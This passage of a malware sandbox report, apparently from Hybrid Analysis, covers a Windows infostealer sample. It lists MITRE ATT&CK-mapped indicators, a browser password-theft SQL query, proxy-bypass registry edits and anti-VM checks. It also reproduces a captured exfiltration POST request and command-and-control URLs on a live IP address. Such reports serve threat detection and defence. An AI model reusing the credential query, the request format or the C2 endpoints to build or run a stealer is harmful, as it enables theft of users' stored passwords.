\"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-115","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve data about the local computer (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"SELECT origin_url, username_value, password_value FROM logins\" (Indicator: \"password\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found string \"password:\" (Indicator: \"password\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-475","level":"informative","mitre_attack_id":"T1555","name":"Contains string like password/secret","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$51","id":"summary-28","level":"informative","mitre_attack_id":"T1027","name":"Shows ability to obfuscate file or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-193","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to query volume/memory size (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-312","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve path in which Windows is installed (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb","id":"network-55","level":"informative","name":"JA3 SSL client fingerprint","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Security","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","id":"registry-27","level":"suspicious","mitre_attack_id":"T1112","name":"Modifies proxy settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Sample file \"sample.bin\" has high entropy 7.31364131943884","id":"binary-71","level":"informative","mitre_attack_id":"T1027","name":"Sample file has high entropy (likely encrypted/compressed content)","origin":"Binary File","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" has an executable section named \".text\"\n \"nss3_1_.dll\" has an executable section named \".text\"\n \"chrome.dll\" has an executable section named \".text\"\n \"freebl3.dll\" has an executable section named \".text\"\n \"mozglue.dll\" has an executable section named \".text\"\n \"msvcp140_1_.dll\" has an executable section named \".text\"\n \"softokn3_1_.dll\" has an executable section named \".text\"\n \"vcruntime140.dll\" has an executable section named \".text\"","id":"static-80","level":"informative","name":"PE file contains executable sections","origin":"Static Parser","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-83","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to enumerate files on disk (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Destruction","description":"$52","id":"api-26","level":"suspicious","mitre_attack_id":"T1070.004","name":"Marks file for deletion","origin":"API Call","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"POST /f0592db368f6bb51.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGH\nHost: 95.215.204.131\nContent-Length: 216\nConnection: Keep-Alive\nCache-Control: no-cache\" with payload:==> \"------HDGHJEBFBFHIIECAECGH\nContent-Disposition: form-data; name=\"hwid\"\n\nA068533DF54E758809014\n------HDGHJEBFBFHIIECAECGH\nContent-Disposition: form-data; name=\"build\"\n\nLogsDiller\n------HDGHJEBFBFHIIECAECGH--\"","id":"network-40","level":"malicious","mitre_attack_id":"T1041","name":"Collects system information using POST request","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"VirtualAllocExNuma\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"VirtualAllocExNuma\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-92","level":"informative","mitre_attack_id":"T1055","name":"Contains ability to inject code into another process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$53","id":"api-125","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get system version information","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetSystemTimeAdjustment\" (Indicator: \"GetSystemTime\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-247","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to retrieve machine time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$54","id":"registry-55","level":"informative","mitre_attack_id":"T1518","name":"Reads the registry for installed applications","origin":"Registry Access","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$55","id":"binary-0","level":"informative","mitre_attack_id":"T1105","name":"Dropped files","origin":"Binary File","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Short term registered certificate: \"accounts.google.com\" (83 days old)\n Short term registered certificate: \"clientservices.googleapis.com\" (83 days old)\n Short term registered certificate: \"www.google.com\" (83 days old)","id":"certificate-3","level":"informative","mitre_attack_id":"T1583.001","name":"Short-term SSL certificate detected","origin":"Certificate Data","relevance":5,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found PE header \"MZ\" - Source: \"00000000-00001720.00000000.180784.04DC0000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"memorydump-8","level":"informative","mitre_attack_id":"T1055","name":"Found PE header in memory","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 10868-3651-004083C3\n SetUnhandledExceptionFilter@KERNEL32.dll at 10868-443-00404EDA","id":"stream-4","level":"informative","mitre_attack_id":"T1622","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Contains ability to create a HTTP or FTP session (API string)\n Matched sigs: Calls an API typically used to create a HTTP or FTP session\n Matched sigs: Calls an API typically used to create a new HTTP request\n Matched sigs: Contacts server\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contains ability to create a new HTTP request (API string)","id":"summary-31","level":"informative","mitre_attack_id":"T1573.001","name":"Shows ability to use encryption for command and control traffic","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: bf3bc85903e812ff6a136924bf8ab376.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: nss3_1_.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: chrome.dll)","id":"static-79","level":"informative","mitre_attack_id":"T1027.007","name":"Contains ability to dynamically determine API calls","origin":"Static Parser","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"\"41.150.58.73\"\n \"57.29.58.30\"\n \"95.215.204.131\"\n Potential IP \"95.215.204.131\" found in string \"ttp://95.215.204.131/\"\n \"5.215.204.131\"\n Potential IP \"95.215.204.131\" found in string \"ttp://95.215.204.131/f0592db368f6bb51.php\"\n Potential IP \"95.215.204.131\" found in string \"ttp://95.215.204.131/9c4ff1f7c1a7004e/sqlite3.dll\"\n Potential IP \"95.215.204.131\" found in string \"http://95.215.204.131/\"\n Potential IP \"95.215.204.131\" found in string \"http://95.215.204.131/f0592db368f6bb51.php\"\n Potential IP \"95.215.204.131\" found in string \"://95.215.204.131/f0592db368f6bb51.php\"\n Potential IP \"95.215.204.131\" found in string \"Host: 95.215.204.131\"\n Potential IP \"95.215.204.131\" found in string \"http://95.215.204.131\"\n Potential IP \"95.215.204.131\" found in string \"http://95.215.204.131/9c4ff1f7c1a7004e/sqlite3.dll\"\n \"131.204.215.95\"","id":"string-14","level":"informative","mitre_attack_id":"T1071","name":"Found potential IP address in binary/memory","origin":"File/Memory","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$56","id":"string-85","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to enumerate process and/or its information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-308","level":"informative","mitre_attack_id":"T1070.004","name":"Contains ability to delete files/directories (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-213","level":"informative","mitre_attack_id":"T1027","name":"Contains ability to encrypt/encode message (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"VMwareVMware\" (Indicator: \"vmwarevmware\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-674","level":"informative","mitre_attack_id":"T1497.003","name":"Able to perform anti-VM checks using CPUID","origin":"File/Memory","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","id":"registry-35","level":"informative","mitre_attack_id":"T1082","name":"Reads the active computer name","origin":"Registry Access","relevance":5,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$57","id":"string-16","level":"informative","mitre_attack_id":"T1213","name":"Contains SQL queries","origin":"File/Memory","relevance":2,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Virtual size of \".rsrc\" is \"0x2494e8\" greater than 0x100000\n Virtual size of \".text\" is \"0x19d789\" greater than 0x100000","id":"static-124","level":"informative","name":"PE file has a big virtual size section","origin":"Static Parser","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-84","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to find logical drives of the machine (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")\n Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-535","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to write files (API string)","origin":"File/Memory","sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-201","level":"informative","mitre_attack_id":"T1614","name":"Contains ability to query system locale (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-167","level":"informative","mitre_attack_id":"T1543","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$58","id":"api-55","level":"informative","mitre_attack_id":"T1083","name":"Touches files in the Windows directory","origin":"API Call","relevance":7,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]}],"stats":{"attributions":{"campaigns_count":0,"cves_count":0,"malware_families_count":1,"threat_actors_count":0,"threat_types_count":0},"av":{"malicious_count":6,"suspicious_count":0,"total_engines":24},"mitre_attacks":{"total":75},"rule_matches":{"sigma_count":0,"suricata_count":0,"yara_count":0},"sandbox_signatures":{"informative_count":180,"malicious_count":7,"suspicious_count":18,"total":205}},"summary":{"score":100,"tags":["infostealer"],"verdict":"malicious"}},"metadata":{"file_info":{"file_name":"bf3bc85903e812ff6a136924bf8ab376.exe","file_size":678912,"file_type":["peexe","executable"],"file_type_id":"exe"},"hashes":{"imphash":"f40f2e21a82c5b08ce96bff39548328c","md5":"bf3bc85903e812ff6a136924bf8ab376","sha1":"76e4e3256710090584e1dcc11ff837b529f60431","sha256":"37222fe99f47c55ca76c875be5e4b58a1ca2cc0dcb46af000969dc6638f83f20","sha512":"1e2b888deee73d3e0e4f60fe2d83388cb1b7507949c44cd3a94416ba9d5b3c9406ab71d6dfb0233293f5327371d249cd4351052fdb90b1ff3ec0518e70958693","ssdeep":"12288:W9rIWJF1VijAAfRE7slpy/6weA/mr5qia7NQWKEnQuithV6+:Wp1F7ijbukgSI/o5qhNTbn5+6+","ssdeep_chunks":["12288:W9rIWJF","12288:9rIWJF1","12288:rIWJF1V","12288:IWJF1Vi","12288:WJF1Vij","12288:JF1VijA","12288:F1VijAA","12288:1VijAAf","12288:VijAAfR","12288:ijAAfRE","12288:jAAfRE7","12288:AAfRE7s","12288:AfRE7sl","12288:fRE7slp","12288:RE7slpy","12288:E7slpy/","12288:7slpy/6","12288:slpy/6w","12288:lpy/6we","12288:py/6weA","12288:y/6weA/","12288:/6weA/m","12288:6weA/mr","12288:weA/mr5","12288:eA/mr5q","12288:A/mr5qi","12288:/mr5qia","12288:mr5qia7","12288:r5qia7N","12288:5qia7NQ","12288:qia7NQW","12288:ia7NQWK","12288:a7NQWKE","12288:7NQWKEn","12288:NQWKEnQ","12288:QWKEnQu","12288:WKEnQui","12288:KEnQuit","12288:EnQuith","12288:nQuithV","12288:QuithV6","12288:uithV6+","24576:W9rIWJF","24576:9rIWJF1","24576:rIWJF1V","24576:IWJF1Vi","24576:WJF1Vij","24576:JF1VijA","24576:F1VijAA","24576:1VijAAf","24576:VijAAfR","24576:ijAAfRE","24576:jAAfRE7","24576:AAfRE7s","24576:AfRE7sl","24576:fRE7slp","24576:RE7slpy","24576:E7slpy/","24576:7slpy/6","24576:slpy/6w","24576:lpy/6we","24576:py/6weA","24576:y/6weA/","24576:/6weA/m","24576:6weA/mr","24576:weA/mr5","24576:eA/mr5q","24576:A/mr5qi","24576:/mr5qia","24576:mr5qia7","24576:r5qia7N","24576:5qia7NQ","24576:qia7NQW","24576:ia7NQWK","24576:a7NQWKE","24576:7NQWKEn","24576:NQWKEnQ","24576:QWKEnQu","24576:WKEnQui","24576:KEnQuit","24576:EnQuith","24576:nQuithV","24576:QuithV6","24576:uithV6+","12288:Wp1F7ij","12288:p1F7ijb","12288:1F7ijbu","12288:F7ijbuk","12288:7ijbukg","12288:ijbukgS","12288:jbukgSI","12288:bukgSI/","12288:ukgSI/o","12288:kgSI/o5","12288:gSI/o5q","12288:SI/o5qh","12288:I/o5qhN","12288:/o5qhNT","12288:o5qhNTb","12288:5qhNTbn","12288:qhNTbn5","12288:hNTbn5+","12288:NTbn5+6","12288:Tbn5+6+"]},"submissions":{"first_seen":1730943228000,"last_multi_scan":1730943228000,"last_seen":1730943228000}},"overall_status":"SUCCESS","report_ids":{"sandbox_job_ids":["672c18fbf521efbe2e06a315"]},"schema_version":"1.0.9","sha256":"37222fe99f47c55ca76c875be5e4b58a1ca2cc0dcb46af000969dc6638f83f20","threat_score":100,"unified_at":"2026-09-16T16:35:39.346Z","unified_at_epoch_ms":1789576539346,"verdict":"malicious"}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious Win/malicious_confidence_100% Sample 37222fe99f47… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 37222fe99f47…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 6/24 AV engines flagged this file. 7 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/37222fe99f47c55ca76c875be5e4b58a1ca2cc0dcb46af000969dc6638f83f20"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_100% Sample 37222fe99f47… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 37222fe99f47…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 6/24 AV engines flagged this file. 7 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/37222fe99f47c55ca76c875be5e4b58a1ca2cc0dcb46af000969dc6638f83f20"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_100% Sample 37222fe99f47… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 37222fe99f47…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 6/24 AV engines flagged this file. 7 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L59","11",{}]]